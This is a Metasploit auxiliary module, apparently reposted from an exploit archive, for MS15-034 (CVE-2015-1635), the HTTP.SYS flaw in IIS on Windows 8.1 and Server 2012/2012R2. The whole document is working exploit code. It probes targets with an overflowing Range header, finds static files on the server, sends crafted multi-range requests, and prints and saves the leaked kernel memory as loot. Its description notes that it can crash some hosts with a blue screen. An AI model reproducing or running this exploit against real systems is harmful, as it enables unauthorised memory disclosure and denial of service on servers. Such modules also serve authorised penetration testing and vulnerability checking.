Share
## https://sploitus.com/exploit?id=PACKETSTORM:181150
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'MS15-034 HTTP Protocol Stack Request Handling HTTP.SYS Memory Information Disclosure',  
'Description' => %q{  
This module dumps memory contents using a crafted Range header and affects only  
Windows 8.1, Server 2012, and Server 2012R2. Note that if the target  
is running in VMware Workstation, this module has a high likelihood  
of resulting in BSOD; however, VMware ESX and non-virtualized hosts  
seem stable. Using a larger target file should result in more memory  
being dumped, and SSL seems to produce more data as well.  
},  
'Author' =>  
[  
'Rich Whitcroft <rwhitcroft[at]gmail.com>', # Msf module  
'sinn3r', # Some more Metasploit stuff  
'Sunny Neo <sunny.neo[at]centurioninfosec.sg>' #Added VHOST option  
  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2015-1635'],  
['MSB', 'MS15-034'],  
['URL', 'https://pastebin.com/ypURDPc4'],  
['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150'],  
['URL', 'https://community.qualys.com/blogs/securitylabs/2015/04/20/ms15-034-analyze-and-remote-detection'],  
['URL', 'http://www.securitysift.com/an-analysis-of-ms15-034/'],  
['URL', 'http://securitysift.com/an-analysis-of-ms15-034/']  
]  
))  
  
register_options([  
OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/']),  
OptBool.new('SUPPRESS_REQUEST', [ true, 'Suppress output of the requested resource', true ])  
])  
  
end  
  
def potential_static_files_uris  
uri = normalize_uri(target_uri.path)  
  
return [uri] unless uri[-1, 1] == '/'  
  
uris = ["#{uri}iisstart.htm", "#{uri}iis-85.png", "#{uri}welcome.png"]  
res = send_request_raw('uri' => uri)  
  
return uris unless res  
  
site_uri = URI.parse(full_uri)  
page = Nokogiri::HTML(res.body.encode('UTF-8', invalid: :replace, undef: :replace))  
  
page.xpath('//link|//script|//style|//img').each do |tag|  
%w(href src).each do |attribute|  
attr_value = tag[attribute]  
next unless attr_value && !attr_value.empty?  
uri = site_uri.merge(URI::DEFAULT_PARSER.escape(attr_value.strip))  
next unless uri.host == vhost || uri.host == rhost  
uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file  
end  
end  
  
uris.uniq  
end  
  
def check_host(ip)  
upper_range = 0xFFFFFFFFFFFFFFFF  
  
potential_static_files_uris.each do |potential_uri|  
uri = normalize_uri(potential_uri)  
  
res = send_request_raw(  
'uri' => uri,  
'method' => 'GET',  
'headers' => {  
'Range' => "bytes=0-#{upper_range}"  
}  
)  
  
if res && res.body.include?('Requested Range Not Satisfiable')  
vmessage = "#{peer} - Checking #{uri} [#{res.code}]"  
vprint_status("#{vmessage} - Vulnerable")  
  
# Save the file that we want to use for the information leak  
target_uri.path = uri  
  
return Exploit::CheckCode::Vulnerable  
elsif res && res.body.include?('The request has an invalid header name')  
return Exploit::CheckCode::Safe  
end  
end  
  
Exploit::CheckCode::Unknown  
end  
  
def dump(data)  
# clear out the returned resource  
if datastore['SUPPRESS_REQUEST']  
dump_start = data.index('HTTP/1.1 200 OK')  
if dump_start  
data[0..dump_start-1] = ''  
else  
print_error("Memory dump start position not found, dumping all data instead")  
end  
end  
  
print_line  
print_good("Memory contents:")  
print_line(Rex::Text.to_hex_dump(data))  
end  
  
# Needed to allow the vulnerable uri to be shared between the #check and #dos  
def target_uri  
@target_uri ||= super  
end  
  
def get_file_size  
@file_size ||= lambda {  
file_size = -1  
uri = normalize_uri(target_uri.path)  
res = send_request_raw('uri' => uri)  
  
unless res  
vprint_error("Connection timed out")  
return file_size  
end  
  
if res.code == 404  
vprint_error("You got a 404. URI must be a valid resource.")  
return file_size  
end  
  
file_size = res.headers['Content-Length'].to_i  
vprint_status("File length: #{file_size} bytes")  
  
return file_size  
}.call  
end  
  
def calc_ranges(content_length)  
ranges = "bytes=3-18446744073709551615"  
  
range_step = 100  
for range_start in (1..content_length).step(range_step) do  
range_end = range_start + range_step - 1  
range_end = content_length if range_end > content_length  
ranges << ",#{range_start}-#{range_end}"  
end  
  
ranges  
end  
  
def run_host(ip)  
begin  
vuln_status = check_host(ip)  
case vuln_status  
when Exploit::CheckCode::Safe  
print_error('The target is not exploitable.')  
return  
when Exploit::CheckCode::Unknown  
print_error('Cannot reliably check exploitability! Observe the traffic with HTTPTrace turned on and try to debug.')  
return  
when Exploit::CheckCode::Vulnerable  
print_good('The target is vulnerable.')  
else  
print_error('An unknown status code was returned from check_host!')  
return  
end  
  
content_length = get_file_size  
ranges = calc_ranges(content_length)  
  
uri = normalize_uri(target_uri.path)  
cli = Rex::Proto::Http::Client.new(  
ip,  
rport,  
{},  
datastore['SSL'],  
datastore['SSLVersion'],  
nil,  
datastore['USERNAME'],  
datastore['PASSWORD']  
)  
cli.connect  
req = cli.request_raw(  
'uri' => target_uri.path,  
'method' => 'GET',  
'vhost' => "#{datastore['VHOST']}",  
'headers' => {  
'Range' => ranges  
}  
)  
cli.send_request(req)  
  
print_good("Stand by...")  
  
resp = cli.read_response  
  
if resp  
dump(resp.to_s)  
loot_path = store_loot('iis.ms15034', 'application/octet-stream', ip, resp, nil, 'MS15-034 HTTP.SYS Memory Dump')  
print_good("Memory dump saved to #{loot_path}")  
else  
print_error("Disclosure unsuccessful (must be 8.1, 2012, or 2012R2)")  
end  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
print_error("Unable to connect")  
return  
rescue ::Timeout::Error, ::Errno::EPIPE  
print_error("Timeout receiving from socket")  
return  
ensure  
cli.close if cli  
end  
end  
end